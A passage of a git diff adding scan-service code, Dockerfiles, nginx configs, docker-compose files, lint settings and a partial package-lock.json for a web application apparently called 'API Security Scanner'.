limit: int | None = None + ) -> list[ScanResponse]: + """ + Get all scans for a user with pagination + + Args: + db: Database session + user_id: User ID + skip: Number of records to skip + limit: Maximum number of records to return + + Returns: + list[ScanResponse]: List of user's scans + """ + scans = ScanRepository.get_by_user( + db = db, + user_id = user_id, + skip = skip, + limit = limit + ) + + return [ScanResponse.model_validate(scan) for scan in scans] + + @staticmethod + def delete_scan(db: Session, scan_id: int, user_id: int) -> bool: + """ + Delete scan with authorization check + + Args: + db: Database session + scan_id: Scan ID to delete + user_id: User ID for authorization + + Returns: + bool: True if deleted successfully + """ + scan = ScanRepository.get_by_id(db, scan_id) + + if not scan: + raise HTTPException( + status_code = status.HTTP_404_NOT_FOUND, + detail = "Scan not found", + ) + + if scan.user_id != user_id: + raise HTTPException( + status_code = status.HTTP_403_FORBIDDEN, + detail = "Not authorized to delete this scan", + ) + + return ScanRepository.delete(db, scan_id) diff --git a/api-security-scanner/conf/docker/dev/fastapi.docker b/api-security-scanner/conf/docker/dev/fastapi.docker new file mode 100644 index 00000000..aaa18c3c --- /dev/null +++ b/api-security-scanner/conf/docker/dev/fastapi.docker @@ -0,0 +1,34 @@ +# ⒸAngelaMos | 2025 +# Development FastAPI Dockerfile + +FROM python:3.11-slim + +# Set environment variables +ENV PYTHONUNBUFFERED=1 \ + PYTHONDONTWRITEBYTECODE=1 \ + PIP_NO_CACHE_DIR=1 \ + PIP_DISABLE_PIP_VERSION_CHECK=1 + +# Set working directory +WORKDIR /app + +# Install system dependencies +RUN apt-get update && apt-get install -y --no-install-recommends \ + gcc \ + postgresql-client \ + && rm -rf /var/lib/apt/lists/* + +# Copy only requirements first (for layer caching) +COPY backend/requirements.txt . + +# Install Python dependencies +RUN pip install --no-cache-dir -r requirements.txt + +# Copy application code +COPY backend/ . + +# Expose port +EXPOSE 8000 + +# Run with uvicorn hot reload +CMD ["uvicorn", "main:app", "--host", "0.0.0.0", "--port", "8000", "--reload"] diff --git a/api-security-scanner/conf/docker/dev/vite.docker b/api-security-scanner/conf/docker/dev/vite.docker new file mode 100644 index 00000000..a8bcfb80 --- /dev/null +++ b/api-security-scanner/conf/docker/dev/vite.docker @@ -0,0 +1,24 @@ +# ⒸAngelaMos | 2025 +# Development Vite Dockerfile +# Runs Vite dev server with HMR (Hot Module Replacement) +# Uses volume mounts for code (defined in docker-compose.dev.yml) + +FROM node:20-alpine + +# Set working directory +WORKDIR /app + +# Copy package files first (for layer caching) +COPY frontend/package*.json ./ + +# Install dependencies +RUN npm ci + +# Copy application code (in dev this is overridden by volume mount) +COPY frontend/ . + +# Expose port +EXPOSE 5173 + +# Run Vite dev server with --host to allow external connections +CMD ["npm", "run", "dev", "--", "--host", "0.0.0.0"] diff --git a/api-security-scanner/conf/docker/prod/fastapi.docker b/api-security-scanner/conf/docker/prod/fastapi.docker new file mode 100644 index 00000000..3e02fa1c --- /dev/null +++ b/api-security-scanner/conf/docker/prod/fastapi.docker @@ -0,0 +1,48 @@ +# ⒸAngelaMos | 2025 +# Production FastAPI Dockerfile +# Optimized for performance with gunicorn multi-worker setup +# No hot reload, built image (no volume mounts) + +FROM python:3.11-slim + +# Set environment variables +ENV PYTHONUNBUFFERED=1 \ + PYTHONDONTWRITEBYTECODE=1 \ + PIP_NO_CACHE_DIR=1 \ + PIP_DISABLE_PIP_VERSION_CHECK=1 + +# Set working directory +WORKDIR /app + +# Install system dependencies +RUN apt-get update && apt-get install -y --no-install-recommends \ + gcc \ + postgresql-client \ + && rm -rf /var/lib/apt/lists/* + +# Copy only requirements first (for layer caching) +COPY backend/requirements.txt . + +# Install Python dependencies +RUN pip install --no-cache-dir -r requirements.txt + +# Install gunicorn for production +RUN pip install --no-cache-dir gunicorn + +# Copy application code +COPY backend/ . + +# Create non-root user for security +RUN useradd -m -u 1000 appuser && chown -R appuser:appuser /app +USER appuser + +# Expose port +EXPOSE 8000 + +# Run with gunicorn (4 workers, uvicorn worker class for async support) +CMD ["gunicorn", "main:app", \ + "--workers", "4", \ + "--worker-class", "uvicorn.workers.UvicornWorker", \ + "--bind", "0.0.0.0:8000", \ + "--access-logfile", "-", \ + "--error-logfile", "-"] diff --git a/api-security-scanner/conf/docker/prod/vite.docker b/api-security-scanner/conf/docker/prod/vite.docker new file mode 100644 index 00000000..b3fd3885 --- /dev/null +++ b/api-security-scanner/conf/docker/prod/vite.docker @@ -0,0 +1,44 @@ +# ⒸAngelaMos | 2025 +# Production Vite Dockerfile (Multi-stage build) +# Stage 1: Build the React app with Vite +# Stage 2: Serve static files with Nginx + +# =================================== +# Stage 1: Build +# =================================== +FROM node:20-alpine AS builder + +WORKDIR /app + +# Copy package files +COPY frontend/package*.json ./ + +# Install dependencies +RUN npm ci --only=production + +# Copy source code +COPY frontend/ . + +# Build the app (creates dist/ folder with static files) +RUN npm run build + +# =================================== +# Stage 2: Serve with Nginx +# =================================== +FROM nginx:alpine + +# Copy built static files from builder stage +COPY --from=builder /app/dist /usr/share/nginx/html + +# Copy custom nginx configuration +COPY conf/nginx/prod.nginx /etc/nginx/nginx.conf + +# Expose port +EXPOSE 80 + +# Health check +HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \ + CMD wget --quiet --tries=1 --spider http://localhost/health || exit 1 + +# Start nginx +CMD ["nginx", "-g", "daemon off;"] diff --git a/api-security-scanner/conf/nginx/dev.nginx b/api-security-scanner/conf/nginx/dev.nginx new file mode 100644 index 00000000..05278347 --- /dev/null +++ b/api-security-scanner/conf/nginx/dev.nginx @@ -0,0 +1,61 @@ +# ⒸAngelaMos | 2025 +# Development Nginx Configuration +# Features: +# - Proxies to Vite dev server (with HMR/WebSocket support) +# - Proxies /api to FastAPI backend +# - No caching, no SSL + +events { + worker_connections 1024; +} + +http { + # Include shared config + include /etc/nginx/http.conf; + + # Disable access logs in dev (less noise) + access_log off; + error_log /var/log/nginx/error.log warn; + + server { + listen 80; + server_name localhost; + + # Client max body size (for file uploads in scans) + client_max_body_size 10M; + + # Backend API routes + location /api/ { + proxy_pass http://backend:8000/; + + # Apply common proxy settings + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection 'upgrade'; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + proxy_cache_bypass $http_upgrade; + } + + # Frontend (Vite dev server with HMR) + location / { + proxy_pass http://frontend; + + # WebSocket support for Vite HMR + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection 'upgrade'; + proxy_set_header Host $host; + proxy_cache_bypass $http_upgrade; + } + + # Health check endpoint + location /health { + access_log off; + return 200 "healthy\n"; + add_header Content-Type text/plain; + } + } +} diff --git a/api-security-scanner/conf/nginx/http.conf b/api-security-scanner/conf/nginx/http.conf new file mode 100644 index 00000000..a81238af --- /dev/null +++ b/api-security-scanner/conf/nginx/http.conf @@ -0,0 +1,28 @@ +# ⒸAngelaMos | 2025 +# Shared HTTP configuration for both dev and prod +# This file contains common settings used by dev.nginx and prod.nginx + +# Upstream backend (FastAPI) +upstream backend { + server backend:8000; +} + +# Upstream frontend (Vite dev server in dev, static files in prod) +upstream frontend { + server frontend:5173; +} + +# Common proxy settings +proxy_http_version 1.1; +proxy_set_header Upgrade $http_upgrade; +proxy_set_header Connection 'upgrade'; +proxy_set_header Host $host; +proxy_set_header X-Real-IP $remote_addr; +proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; +proxy_set_header X-Forwarded-Proto $scheme; +proxy_cache_bypass $http_upgrade; + +# Timeouts +proxy_connect_timeout 60s; +proxy_send_timeout 60s; +proxy_read_timeout 60s; diff --git a/api-security-scanner/conf/nginx/prod.nginx b/api-security-scanner/conf/nginx/prod.nginx new file mode 100644 index 00000000..41ba2e9e --- /dev/null +++ b/api-security-scanner/conf/nginx/prod.nginx @@ -0,0 +1,136 @@ +# ⒸAngelaMos | 2025 +# Production Nginx Configuration +# Features: +# - Serves static frontend files from /usr/share/nginx/html +# - Proxies /api to FastAPI backend +# - Caching, gzip compression, security headers +# - SSL/HTTPS ready (commented out, uncomment when you have certificates) + +events { + worker_connections 2048; +} + +http { + # Include shared config + include /etc/nginx/http.conf; + include /etc/nginx/mime.types; + default_type application/octet-stream; + + # Logging + access_log /var/log/nginx/access.log; + error_log /var/log/nginx/error.log warn; + + # Performance optimizations + sendfile on; + tcp_nopush on; + tcp_nodelay on; + keepalive_timeout 65; + types_hash_max_size 2048; + + # Gzip compression + gzip on; + gzip_vary on; + gzip_min_length 1000; + gzip_comp_level 6; + gzip_types + text/plain + text/css + text/xml + text/javascript + application/json + application/javascript + application/xml+rss + application/rss+xml + font/truetype + font/opentype + application/vnd.ms-fontobject + image/svg+xml; + + # HTTP server (will redirect to HTTPS in production) + server { + listen 80; + server_name localhost; + + # Uncomment below to redirect HTTP to HTTPS in production + # return 301 https://$server_name$request_uri; + + # Client max body size + client_max_body_size 10M; + + # Security headers + add_header X-Frame-Options "SAMEORIGIN" always; + add_header X-Content-Type-Options "nosniff" always; + add_header X-XSS-Protection "1; mode=block" always; + add_header Referrer-Policy "no-referrer-when-downgrade" always; + + # Backend API routes + location /api { + proxy_pass http://backend; + + # Apply common proxy settings + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection 'upgrade'; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + proxy_cache_bypass $http_upgrade; + + # Timeouts for API requests + proxy_connect_timeout 60s; + proxy_send_timeout 60s; + proxy_read_timeout 60s; + } + + # Serve static frontend files + location / { + root /usr/share/nginx/html; + try_files $uri $uri/ /index.html; + + # Cache static assets + location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg|woff|woff2|ttf|eot)$ { + expires 1y; + add_header Cache-Control "public, immutable"; + } + + # Don't cache index.html + location = /index.html { + add_header Cache-Control "no-cache, no-store, must-revalidate"; + } + } + + # Health check endpoint + location /health { + access_log off; + return 200 "healthy\n"; + add_header Content-Type text/plain; + } + } + + # HTTPS server (uncomment and configure when you have SSL certificates) + # server { + # listen 443 ssl http2; + # server_name yourdomain.com; + # + # # SSL certificates (use Let's Encrypt or similar) + # ssl_certificate /etc/nginx/ssl/cert.pem; + # ssl_certificate_key /etc/nginx/ssl/key.pem; + # + # # SSL configuration + # ssl_protocols TLSv1.2 TLSv1.3; + # ssl_ciphers HIGH:!aNULL:!MD5; + # ssl_prefer_server_ciphers on; + # ssl_session_cache shared:SSL:10m; + # ssl_session_timeout 10m; + # + # # Security headers + # add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always; + # add_header X-Frame-Options "SAMEORIGIN" always; + # add_header X-Content-Type-Options "nosniff" always; + # add_header X-XSS-Protection "1; mode=block" always; + # + # # Same location blocks as HTTP server above + # # ... + # } +} diff --git a/api-security-scanner/docker-compose.dev.yml b/api-security-scanner/docker-compose.dev.yml new file mode 100644 index 00000000..43ce3e4a --- /dev/null +++ b/api-security-scanner/docker-compose.dev.yml @@ -0,0 +1,88 @@ +# ⒸAngelaMos | 2025 + +services: + # PostgreSQL Database + db: + image: postgres:16-alpine + container_name: apisec_db_dev + environment: + POSTGRES_USER: ${POSTGRES_USER:-apiuser} + POSTGRES_PASSWORD: ${POSTGRES_PASSWORD:-apipass} + POSTGRES_DB: ${POSTGRES_DB:-apisecurity} + ports: + - "${HOST_DB_PORT:-5432}:5432" + volumes: + - postgres_data_dev:/var/lib/postgresql/data + healthcheck: + test: ["CMD-SHELL", "pg_isready -U ${POSTGRES_USER:-apiuser}"] + interval: 10s + timeout: 5s + retries: 5 + networks: + - apisec_network + + # FastAPI Backend + backend: + build: + context: . + dockerfile: conf/docker/dev/fastapi.docker + container_name: apisec_backend_dev + environment: + DATABASE_URL: postgresql://${POSTGRES_USER:-apiuser}:${POSTGRES_PASSWORD:-apipass}@db:5432/${POSTGRES_DB:-apisecurity} + SECRET_KEY: ${SECRET_KEY:-dev-secret-key-change-this} + DEBUG: "true" + BACKEND_HOST: ${BACKEND_HOST:-0.0.0.0} + BACKEND_PORT: ${BACKEND_PORT:-8000} + CORS_ORIGINS: ${CORS_ORIGINS:-http://localhost:5173,http://localhost:3000,http://localhost} + ports: + - "${HOST_BACKEND_PORT:-8000}:8000" + volumes: + - ./backend:/app + depends_on: + db: + condition: service_healthy + networks: + - apisec_network + restart: unless-stopped + + # React Frontend (Development with Vite HMR) + frontend: + build: + context: . + dockerfile: conf/docker/dev/vite.docker + container_name: apisec_frontend_dev + environment: + VITE_API_URL: ${VITE_API_URL:-http://localhost:8000} + ports: + - "${HOST_FRONTEND_PORT:-5173}:5173" + volumes: + - ./frontend:/app + - /app/node_modules + networks: + - apisec_network + restart: unless-stopped + + # Nginx Reverse Proxy + nginx: + image: nginx:alpine + container_name: apisec_nginx_dev + ports: + - "${HOST_NGINX_PORT:-80}:80" + volumes: + - ./conf/nginx/dev.nginx:/etc/nginx/nginx.conf:ro + - ./conf/nginx/http.conf:/etc/nginx/http.conf:ro + depends_on: + - backend + - frontend + networks: + - apisec_network + restart: unless-stopped + +volumes: + postgres_data_dev: + name: apisec_postgres_data_dev + +networks: + apisec_network: + name: apisec_network_dev + driver: bridge diff --git a/api-security-scanner/docker-compose.prod.yml b/api-security-scanner/docker-compose.prod.yml new file mode 100644 index 00000000..ece97396 --- /dev/null +++ b/api-security-scanner/docker-compose.prod.yml @@ -0,0 +1,80 @@ +# ⒸAngelaMos | 2025 + +services: + # PostgreSQL Database + db: + image: postgres:16-alpine + container_name: apisec_db_prod + environment: + POSTGRES_USER: ${POSTGRES_USER:-apiuser} + POSTGRES_PASSWORD: ${POSTGRES_PASSWORD:-apipass} + POSTGRES_DB: ${POSTGRES_DB:-apisecurity} + # Uncomment to expose DB port (not recommended for production) + # ports: + # - "${HOST_DB_PORT:-5432}:5432" + volumes: + - postgres_data_prod:/var/lib/postgresql/data + healthcheck: + test: ["CMD-SHELL", "pg_isready -U ${POSTGRES_USER:-apiuser}"] + interval: 10s + timeout: 5s + retries: 5 + networks: + - apisec_network + restart: always + + # FastAPI Backend (Production with Gunicorn) + backend: + build: + context: . + dockerfile: conf/docker/prod/fastapi.docker + container_name: apisec_backend_prod + environment: + DATABASE_URL: postgresql://${POSTGRES_USER:-apiuser}:${POSTGRES_PASSWORD:-apipass}@db:5432/${POSTGRES_DB:-apisecurity} + SECRET_KEY: ${SECRET_KEY} + DEBUG: "false" + BACKEND_HOST: ${BACKEND_HOST:-0.0.0.0} + BACKEND_PORT: ${BACKEND_PORT:-8000} + CORS_ORIGINS: ${CORS_ORIGINS:-https://yourdomain.com} + expose: + - "8000" + depends_on: + db: + condition: service_healthy + networks: + - apisec_network + restart: always + healthcheck: + test: ["CMD", "curl", "-f", "http://localhost:8000/"] + interval: 30s + timeout: 10s + retries: 3 + start_period: 40s + + # Frontend (Production - Nginx serving static files) + frontend: + build: + context: . + dockerfile: conf/docker/prod/vite.docker + container_name: apisec_frontend_prod + ports: + - "${HOST_NGINX_PORT:-80}:80" + # Uncomment for HTTPS: + # - "${HOST_NGINX_HTTPS_PORT:-443}:443" + depends_on: + - backend + networks: + - apisec_network + restart: always + # Optional: Mount SSL certificates for HTTPS + # volumes: + # - ./ssl:/etc/nginx/ssl:ro + +volumes: + postgres_data_prod: + name: apisec_postgres_data_prod + +networks: + apisec_network: + name: apisec_network_prod + driver: bridge diff --git a/api-security-scanner/frontend/.gitignore b/api-security-scanner/frontend/.gitignore new file mode 100644 index 00000000..a547bf36 --- /dev/null +++ b/api-security-scanner/frontend/.gitignore @@ -0,0 +1,24 @@ +# Logs +logs +*.log +npm-debug.log* +yarn-debug.log* +yarn-error.log* +pnpm-debug.log* +lerna-debug.log* + +node_modules +dist +dist-ssr +*.local + +# Editor directories and files +.vscode/* +!.vscode/extensions.json +.idea +.DS_Store +*.suo +*.ntvs* +*.njsproj +*.sln +*.sw? diff --git a/api-security-scanner/frontend/eslint.config.js b/api-security-scanner/frontend/eslint.config.js new file mode 100644 index 00000000..91c820ca --- /dev/null +++ b/api-security-scanner/frontend/eslint.config.js @@ -0,0 +1,122 @@ +// =================== +// © AngelaMos | 2025 +// eslint.config.js +// =================== +import js from '@eslint/js'; +import tseslint from 'typescript-eslint'; +import react from 'eslint-plugin-react'; +import reactHooks from 'eslint-plugin-react-hooks'; +import reactRefresh from 'eslint-plugin-react-refresh'; +import jsxA11y from 'eslint-plugin-jsx-a11y'; +import prettierConfig from 'eslint-config-prettier'; +import globals from 'globals'; + +export default tseslint.config( + { + ignores: ['dist', 'vite.config.ts', '*.min.js', 'eslint.config.js'], + }, + + js.configs.recommended, + + ...tseslint.configs.strictTypeChecked, + ...tseslint.configs.stylisticTypeChecked, + + { + files: ['**/*.{ts,tsx}'], + plugins: { + react, + 'react-hooks': reactHooks, + 'react-refresh': reactRefresh, + 'jsx-a11y': jsxA11y, + }, + languageOptions: { + parser: tseslint.parser, + parserOptions: { + project: ['./tsconfig.app.json', './tsconfig.node.json'], + tsconfigRootDir: import.meta.dirname, + ecmaFeatures: { jsx: true }, + }, + globals: { + ...globals.browser, + ...globals.node, + }, + }, + settings: { + react: { + version: 'detect', + }, + }, + rules: { + '@typescript-eslint/no-unused-vars': ['error', { argsIgnorePattern: '^_', varsIgnorePattern: '^_', caughtErrorsIgnorePattern: '^_' }], + '@typescript-eslint/consistent-type-imports': ['error', { prefer: 'type-imports', fixStyle: 'inline-type-imports' }], + '@typescript-eslint/explicit-function-return-type': ['error', { + allowExpressions: true, + allowTypedFunctionExpressions: true, + allowHigherOrderFunctions: true, + allowDirectConstAssertionInArrowFunctions: true, + allowedNames: ['Component'] + }], + '@typescript-eslint/naming-convention': 'off', + '@typescript-eslint/no-non-null-assertion': 'error', + '@typescript-eslint/array-type': ['error', { default: 'array' }], + '@typescript-eslint/no-explicit-any': 'error', + '@typescript-eslint/no-confusing-void-expression': 'off', + '@typescript-eslint/no-unnecessary-condition': 'off', + '@typescript-eslint/no-floating-promises': 'error', + '@typescript-eslint/strict-boolean-expressions': ['error', { + allowString: false, + allowNumber: false, + allowNullableObject: false, + allowNullableString: true, + allowAny: true + }], + + '@typescript-eslint/prefer-as-const': 'error', + '@typescript-eslint/consistent-type-definitions': ['error', 'interface'], + + 'react/prop-types': 'off', + 'react/jsx-uses-react': 'off', + 'react/react-in-jsx-scope': 'off', + 'react/jsx-no-leaked-render': ['error', { validStrategies: ['ternary'] }], + 'react/jsx-key': ['error', { checkFragmentShorthand: true, checkKeyMustBeforeSpread: true, warnOnDuplicates: true }], + 'react/jsx-no-useless-fragment': ['error', { allowExpressions: false }], + 'react/jsx-pascal-case': ['error', { allowAllCaps: false }], + 'react/no-array-index-key': 'warn', + 'react/no-unstable-nested-components': 'error', + + 'react-hooks/rules-of-hooks': 'error', + 'react-hooks/exhaustive-deps': 'warn', + + 'react-refresh/only-export-components': [ + 'warn', + { allowConstantExport: true }, + ], + + 'jsx-a11y/alt-text': 'error', + 'jsx-a11y/anchor-has-content': 'error', + 'jsx-a11y/click-events-have-key-events': 'error', + 'jsx-a11y/no-static-element-interactions': 'error', + + 'no-console': ['warn', { allow: ['warn', 'error'] }], + 'no-debugger': 'error', + 'no-alert': 'error', + 'no-var': 'error', + 'prefer-const': 'error', + 'prefer-template': 'error', + 'object-shorthand': 'error', + 'no-nested-ternary': 'error', + 'max-depth': ['error', 6], + 'max-lines': ['error', { max: 2000, skipBlankLines: true, skipComments: true }], + 'complexity': ['error', 55], + }, + }, + + { + files: ['src/main.tsx'], + rules: { + '@typescript-eslint/no-non-null-assertion': 'off', // Allow document.getElementById('root')! + }, + }, + + prettierConfig, +); diff --git a/api-security-scanner/frontend/index.html b/api-security-scanner/frontend/index.html new file mode 100644 index 00000000..faf6f33c --- /dev/null +++ b/api-security-scanner/frontend/index.html @@ -0,0 +1,23 @@ + + + + + + + + + + + + + + + +API Security Scanner + + + +
+ + + diff --git a/api-security-scanner/frontend/package-lock.json b/api-security-scanner/frontend/package-lock.json new file mode 100644 index 00000000..2223c496 --- /dev/null +++ b/api-security-scanner/frontend/package-lock.json @@ -0,0 +1,8160 @@ +{ + "name": "api-security-scanner", + "version": "1.0.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "api-security-scanner", + "version": "1.0.0", + "dependencies": { + "@hookform/resolvers": "^5.2.1", + "@radix-ui/react-collapsible": "^1.1.12", + "@radix-ui/react-dialog": "^1.1.15", + "@radix-ui/react-dropdown-menu": "^2.1.16", + "@radix-ui/react-tabs": "^1.1.13", + "@radix-ui/react-toast": "^1.2.15", + "@radix-ui/react-tooltip": "^1.2.8", + "@tanstack/react-query": "^5.85.3", + "@tanstack/react-query-devtools": "^5.85.3", + "axios": "^1.12.2", + "clsx": "^2.1.1", + "date-fns": "^4.1.0", + "immer": "^10.1.1", + "react": "^19.1.1", + "react-dom": "^19.1.1", + "react-hook-form": "^7.62.0", + "react-icons": "^5.5.0", + "react-markdown": "^10.1.0", + "react-router-dom": "^7.8.1", + "recharts": "^3.1.2", + "socket.io-client": "^4.8.1", + "sonner": "^2.0.7", + "zod": "^4.0.17", + "zustand": "^5.0.7" + }, + "devDependencies": { + "@eslint/js": "^9.33.0", + "@types/react": "^19.1.10", + "@types/react-dom": "^19.1.7", + "@vitejs/plugin-react": "^5.0.0", + "eslint": "^9.33.0", + "eslint-config-prettier": "^10.1.8", + "eslint-plugin-jsx-a11y": "^6.10.2", + "eslint-plugin-react": "^7.37.5", + "eslint-plugin-react-hooks": "^5.2.0", + "eslint-plugin-react-refresh": "^0.4.20", + "globals": "^16.3.0", + "husky": "^8.0.0", + "prettier": "^3.6.2", + "typescript": "~5.8.3", + "typescript-eslint": "^8.39.1", + "vite": "^7.1.2", + "vite-tsconfig-paths": "^5.1.4" + } + }, + "node_modules/@babel/code-frame": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.27.1.tgz", + "integrity": "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-validator-identifier": "^7.27.1", + "js-tokens": "^4.0.0", + "picocolors": "^1.1.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/compat-data": { + "version": "7.28.5", + "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.28.5.tgz", + "integrity": "sha512-6uFXyCayocRbqhZOB+6XcuZbkMNimwfVGFji8CTZnCzOHVGvDqzvitu1re2AU5LROliz7eQPhB8CpAMvnx9EjA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/core": { + "version": "7.28.5", + "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.28.5.tgz", + "integrity": "sha512-e7jT4DxYvIDLk1ZHmU/m/mB19rex9sv0c2ftBtjSBv+kVM/902eh0fINUzD7UwLLNR+jU585GxUJ8/EBfAM5fw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.27.1", + "@babel/generator": "^7.28.5", + "@babel/helper-compilation-targets": "^7.27.2", + "@babel/helper-module-transforms": "^7.28.3", + "@babel/helpers": "^7.28.4", + "@babel/parser": "^7.28.5", + "@babel/template": "^7.27.2", + "@babel/traverse": "^7.28.5", + "@babel/types": "^7.28.5", + "@jridgewell/remapping": "^2.3.5", + "convert-source-map": "^2.0.0", + "debug": "^4.1.0", + "gensync": "^1.0.0-beta.2", + "json5": "^2.2.3", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/babel" + } + }, + "node_modules/@babel/generator": { + "version": "7.28.5", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.28.5.tgz", + "integrity": "sha512-3EwLFhZ38J4VyIP6WNtt2kUdW9dokXA9Cr4IVIFHuCpZ3H8/YFOl5JjZHisrn1fATPBmKKqXzDFvh9fUwHz6CQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.28.5", + "@babel/types": "^7.28.5", + "@jridgewell/gen-mapping": "^0.3.12", + "@jridgewell/trace-mapping": "^0.3.28", + "jsesc": "^3.0.2" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-compilation-targets": { + "version": "7.27.2", + "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.27.2.tgz", + "integrity": "sha512-2+1thGUUWWjLTYTHZWK1n8Yga0ijBz1XAhUXcKy81rd5g6yh7hGqMp45v7cadSbEHc9G3OTv45SyneRN3ps4DQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/compat-data": "^7.27.2", + "@babel/helper-validator-option": "^7.27.1", + "browserslist": "^4.24.0", + "lru-cache": "^5.1.1", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-globals": { + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz", + "integrity": "sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-imports": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.27.1.tgz", + "integrity": "sha512-0gSFWUPNXNopqtIPQvlD5WgXYI5GY2kP2cCvoT8kczjbfcfuIljTbcWrulD1CIPIX2gt1wghbDy08yE1p+/r3w==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/traverse": "^7.27.1", + "@babel/types": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-transforms": { + "version": "7.28.3", + "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.28.3.tgz", + "integrity": "sha512-gytXUbs8k2sXS9PnQptz5o0QnpLL51SwASIORY6XaBKF88nsOT0Zw9szLqlSGQDP/4TljBAD5y98p2U1fqkdsw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-module-imports": "^7.27.1", + "@babel/helper-validator-identifier": "^7.27.1", + "@babel/traverse": "^7.28.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-plugin-utils": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.27.1.tgz", + "integrity": "sha512-1gn1Up5YXka3YYAHGKpbideQ5Yjf1tDa9qYcgysz+cNCXukyLl6DjPXhD3VRwSb8c0J9tA4b2+rHEZtc6R0tlw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-string-parser": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz", + "integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-identifier": { + "version": "7.28.5", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz", + "integrity": "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-option": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz", + "integrity": "sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helpers": { + "version": "7.28.4", + "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.28.4.tgz", + "integrity": "sha512-HFN59MmQXGHVyYadKLVumYsA9dBFun/ldYxipEjzA4196jpLZd8UjEEBLkbEkvfYreDqJhZxYAWFPtrfhNpj4w==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/template": "^7.27.2", + "@babel/types": "^7.28.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/parser": { + "version": "7.28.5", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.28.5.tgz", + "integrity": "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/types": "^7.28.5" + }, + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx-self": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.27.1.tgz", + "integrity": 